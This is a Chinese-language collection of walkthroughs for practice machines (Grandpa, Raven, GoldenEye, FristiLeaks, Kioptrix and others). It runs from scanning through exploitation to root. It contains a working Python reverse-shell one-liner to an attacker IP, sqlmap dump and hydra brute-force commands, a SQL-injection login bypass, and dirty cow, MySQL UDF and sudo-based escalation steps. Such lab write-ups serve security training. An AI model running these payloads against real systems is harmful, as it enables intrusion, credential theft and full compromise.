目标靶机
hackthebox - Grandpa
信息收集
nmap扫描
80端口运行的是IIS httpd 6.0服务
查找iis 6.0漏洞,发现一个远程命令执行漏洞
漏洞利用
metasploit查找利用模块
设置参数,exploit,getshell成功
nmap扫描
nikto扫描web服务端口
Dirbuster目录爆破
根据wordpress的login链接,指定ip的host为raven.local
访问http://raven.local/wordpress/ 如下
使用Wpscan扫描
wpscan发现有个uploads路径 http://raven.local/wordpress/wp-content/uploads/
访问进去发现一个flag3的图片
根据dirbuster扫描出一个vendor目录,访问有以下文件
访问PATH发现flag1
从vendor目录可知系统用了一个叫phpmailer的组件,从http://192.168.3.98/vendor/VERSION 路径猜测5.2.16是其版本号
查找相关漏洞
尝试<5.2.18的python版本利用代码40974.py
修改利用代码相关参数
攻击端起监听端口
运行漏洞利用文件
浏览器访问shell.php
获取反弹shell成功
下载提权辅助脚本到目标机器运行,提示可能提权的漏洞如下
尝试了一个内核提权无果,便根据提示尝试mysql udf提权
下载udf漏洞利用代码,根据说明编译出so文件,然后传到目标机器
在wp-config.php获取mysql的连接密码
使用上面密码连接mysql
udf提权操作
使用加了suid的find命令提权成root,读取flag4
根据靶机说明,要找到4个flag
Raven is a Beginner/Intermediate boot2root machine. There are four flags to find and two intended ways of getting root. Built with VMware and tested on Virtual Box. Set up to use NAT networking.
nmap扫描
nikto扫描web服务端口
Dirbuster目录爆破,扫描出wordpress目录
从80端口的http服务入手
逐个页面浏览源码,其中service.html页面找到第一个flag:
flag1{b9bbcb33e11b80be759c4e844862482d}
根据目录爆破结果,访问wordpress页面
使用wpscan扫描用户名:wpscan –url http://192.168.3.48/wordpress/ –max-threads 20 -e u
发现两个用户名:steven和michael
尝试用这两个用户名及常见弱口令登陆wordpress后台,无果,于是转向ssh爆破。
爆破出用户名michael的密码为michael
使用michael:michael用户名密码登陆
用户权限较低,此外根据内核版本尝试了几个本地提权均没成功,暂时放弃内核提权
浏览web站点的目录/var/www/,发现第二个flag
已知网站用了wordpress,于是查找相关配置文件,在/var/www/html/wordpress/wp-config.php文件找到mysql数据库的用户名密码
使用配置文件的用户名密码连接数据库
进入wordpress库
逐个表浏览,在wp_posts表里面发现最后两个flag:
flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}
查看wp_users表,找到steven用户的哈希密码
哈希复制出来,利用john破解,得出steven的密码是pink84
利用steven:pink84用户名密码登陆,发现steven用户可以用python执行root权限命令
于是使用python执行root shell:sudo python -c 'import pty;pty.spawn("/bin/bash")'
提权root成功,读取到flag4
nmap扫描
22、80、1898端口开放
nikto扫描80端口无信息
根据nmap扫描结果,1898端口也是http服务,使用nikto扫描1898端口
发现web是使用drupal 7搭建的,Searchsploit drupal 7的相关漏洞,有几个符合版本的rce漏洞,尝试下图标红的利用代码
把利用代码拷贝出来,执行报错
google得知缺少依赖库,使用下面命令安装依赖库
执行rb脚本,getshell成功
利用metasploit,查找drupal漏洞
使用编号4的模块,设置参数
Exploit
getshell后发现用户是www-data,下面进一步提权成root
查看系统内核版本
查找漏洞
尝试了searchsploit列表中几个利用代码均不成功,于是在目标机器上传提权辅助脚本privesc-suggester.sh执行
有个dirtycow2漏洞提示能用,下载40847.cpp利用代码
按照说明编译运行
提权成功
flag
获取目标机器ip
端口扫描
25、80、55006、55007端口开放,有smtp、http、pop3应用
Nikto scan
发现一个splashAdmin.php页面
dirbuster扫描路径没发现
访问80端口页面,提示到/sev-home/页面登陆
访问弹出一个登陆验证框,尝试一些常用弱口令无法登陆
访问/splashAdmin.php页面如下
由nikto扫描信息可知这是个Cobalt Qube 3应用,查找相关漏洞
按照漏洞利用方式尝试之后没有创建admin用户,暂时放弃这条路。
回到主页,查看页面源码,发现一个terminal.js
查看terminal.js代码,发现提示
根据提示,用户名可能是Boris,密码应该是那段html编码的字符,解码后得到InvincibleHack3r
回到登陆页面,利用用户名Boris和密码InvincibleHack3r登陆失败,用户名换成小写boris登陆成功
页面提示让发邮件获取管理员手册,邮件服务使用非标准的高端口pop3协议运行,根据扫描信息,55007端口是pop3应用
使用刚才的web用户名密码登陆失败
指定用户名,使用hydra爆破pop3密码,字典使用kali自带的fasttrack,爆破出密码是secret1!
使用telnet连接pop3查看邮件
看了3封boris的邮件并没发现太多有用的信息,但提到了natalya和xenia两个用户名
继续尝试对natalya爆破,得到密码是bird
登陆natalya的邮箱,查看邮件
第二封邮件发现有价值的信息
得到用户名/密码:xenia/RCP90rulez!
按照邮件提示配置host:severnaya-station.com
浏览器访问severnaya-station.com/gnocertdir
使用用户名/密码:xenia/RCP90rulez!登陆
登陆后是一个类似于博客的系统,浏览了一遍没发现文件上传、命令执行等漏洞
在一个页面发现另外一个邮箱用户名: doak
用刚才的方式破解,得到密码goat
登陆邮箱查看
得到web系统的登陆用户名密码:dr_doak/4England!
用用户名密码:dr_doak/4England!登陆web系统
浏览到My private files页面发现一个文件
下载查看如下
访问 http://severnaya-station.com/dir007key/for-007.jpg
下载图片,用file命令查看信息,发现一串base64:eFdpbnRlcjE5OTV4IQ==
解密得到明文:xWinter1995x!
结合上面的信息,猜测是admin的密码,使用admin/xWinter1995x! 登陆web系统
浏览配置项,发现一处aspell的路径配置,根据说明,aspell是输入框拼写检查的工具,这里写入一段反弹shell命令python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.25.158.138",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
进入到新建博客页面,点击拼写检查按钮触发,但没拿到反弹shell,后续尝试了bash和nc的命令也不行。
配置页面搜索spell配置,发现一处有spell解析器配置,默认是google的引擎,把这里改成PSpellShell,再次点击拼写检查按钮,这次获取反弹shell成功
用户是www-data
Server - enviroment页面有系统信息,叫moodle,版本是2.2.3
google发现metasploit有漏洞利用模块
打开metasploit,搜索利用模块
设置参数
getshell成功
系统内核版本是ubuntu 3.13.0-32-generic,且没有gcc
找到这个提权代码符合版本
在本地ubuntu机器编译好传过去运行,报错
根据报错,程序调用了gcc命令,机器上有cc但没有gcc,于是把代码调用了gcc命令的那行替换成cc
重新上传到目标机器编译运行
提权成功,读取flag文件
访问/006-final/xvf7-flag/ 页面如下
nmap扫描
只开放了80端口
Nikto扫描:
Apache 2.2.15 php5.3.3
Robots.txt有三个目录:/cola、/sisi、/beer
dirbuster扫描目录
没发现太多有价值的页面
访问web页面如下
访问robots.txt的目录页面,都是显示下面这个图片
根据主页的提示语:keep calm and drink fristi,尝试/fristi目录,发现一个登陆页面
初步尝试admin/admin、root/root等弱口令均无法登陆,尝试sql注入也无果
查看管理页面源码,比较特别的是网页图片是通过base64方式加载的
下面发现一串注释的base64
于是利用浏览器加上data:img/png;base64,访问,下载文件
打开下载的图片文件,得到以下字符串,猜测是登陆密码
尝试用上图密码,试了常用的用户名,均无法登陆。
再看回刚才的页面源码,发现以下注释有个eezeepz的名字
尝试利用用户名eezeepz,密码keKkeKKeKKeKkEkkEk登陆,成功登陆
点击upload file,是个上传图片的页面,上传一张正常图片测试
提示图片上传到/uploads,通过/uploads/nba.jpg可以访问
下载php反弹shell
修改连接参数
kali监听端口
上传页面上传php反弹shell
提示只允许图片格式
把shell文件加上.jpg后缀,再次上传成功
在web页面访问
获取到shell,用户是apache
查看内核版本是2.6.32
发现存在dirty cow漏洞
下载dirty cow利用代码提权
执行成功
tty切为sh之后,成功提权成root权限
获取flag
拿到低权限用户后,查看/home目录文件夹如下
admin目录和fristi目录权限不足,进入eezeepz目录查看notes.txt文件
根据文件说明,写入命令到/tmp/runthis,给/home/admin赋777权限
进入/home/admin目录
查看cryptpass.py的内容可知密码加密的过程
查看whoisyourgodnow.txt,用户名为fristigod,应该是改用户加密后的密码
根据加密过程逆向写一个解密的python如下
把加密密码传入执行,得到LetThereBeFristi!
把cryptedpass.txt的密文传入执行,得到thisisalsopw123
使用密码LetThereBeFristi!登陆fristi用户成功
pwd看路径在/var/fristigod
查看命令历史
进入.secret_admin_stuff目录,看到一个带s权限的程序
直接执行,提示错误用户
Sudo -l命令查看,用fristi用户执行doCom命令变可以执行root权限的命令
输入命令sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su - ,成功切换到root用户
Flag:
nmap扫描
访问80端口服务
查看网页源码,发现一个url地址
访问地址发现是一个叫pChart2.1.3的工具网站
查找pChart的漏洞,有个目录遍历漏洞
尝试读取/etc/passwd
访问8080端口服务,返回403
从之前的收集信息可知web server是apache 2.2.21,操作系统是freebsd,google可知apache的目录如下
利用目录遍历漏洞读取该配置文件,发现8080端口服务是限制了user-agent访问
使用burp suite将user-agent请求头改为Mozilla/4.0 Mozilla4_browser,发现index叫phptax
metasploit发现可利用漏洞
使用metasploit phptax模块
设置好ip端口参数
Getshell
内核版本是freebsd 9.0
查找漏洞,有利用代码
尝试28718.c,目标机器没有wget命令,有ftp命令,使用ftp传输利用代码
kali开启ftp服务端
目标机器使用anonymous空密码登陆,下载利用代码
编译执行,提权成功
获取root flag
nmap扫描
使用nikto扫描web服务端口
http目录枚举,发现目录 /john 、 /robert
访问80端口web服务,发现登录页面
尝试弱口令登陆失败
password输入admin’,有报错回显,应该存在sql注入
从上面http目录枚举发现有/john和/robert目录,于是猜测系统存在着两个用户名,在登录页面,用户名使用john,密码使用 ‘ or 1=1 # , 绕过登录,页面直接显示用户名密码
同样,用户名输入robert,密码注入
使用用户名john密码MyNameIsJohn登陆ssh成功
发现是一个十分严格的定制化shell,输了几次不允许的命令会断开连接
发现可以使用echo命令,利用echo切换到bash shell
查看系统内核版本,2.6.24-24
查找内核版本漏洞,dirty cow符合版本
但目标机器没有gcc
于是从自己的机器编译后再传过去执行
执行dirty提权成功
获取flag文件
使用提权辅助脚本linpeas.sh,发现mysql存在udf模块,可以执行函数
在/var/www/checklogin.php文件中找到mysql登录密码
登录mysql
使用sys_exec函数执行命令,对/bin/bash添加suid权限
使用bash -p提权成功
根据靶机说明设置hosts
nmap扫描
nikto扫描web服务端口
发现phpmyadmin后台
访问80端口web服务
访问登录页面,尝试admin:admin弱口令,登录失败
登录提示框发现使用了框架LotusCMS
Searchsploit查找漏洞,发现metasploit有利用脚本
使用Metasploit查找漏洞利用模块
设置rohsts、uri参数
run exploit. getshell
该页面有参数id,加一个单引号访问报错
使用sqlmap注入sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid"
枚举数据库sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -dbs
枚举gallery库sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -D gallery --tables
跑dev_accounts表,得到两个账号密码sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -D gallery -T dev_accounts --dump
使用hydra破解,得出loneferret的密码为starwarshydra -L users.txt -P /usr/share/wordlists/fasttrack.txt 192.168.3.132 ssh -e nsr -f -t 4
使用loneferret登录,有个提示文件发现sudo ht命令有特殊权限
执行sudo ht,报错
google一番,环境变量问题
Sudo ht进入一个编辑器页面
Sudo -l发现su命令禁用了suid权限,于是用ht编辑器把!符号去掉
Which su命令看到su实际在/bin/su
于是进入ht编辑器,修改/etc/sudoers文件如下
按F2保存,F10退出
再使用sudo -l 查看权限
使用sudo su -切换root成功
查看内核版本
查找内核漏洞,dirtycow符合版本
尝试利用dirty cow提权
下载代码,编译
运行
提示需要从终端运行,利用python切换tty并切换root,提权成功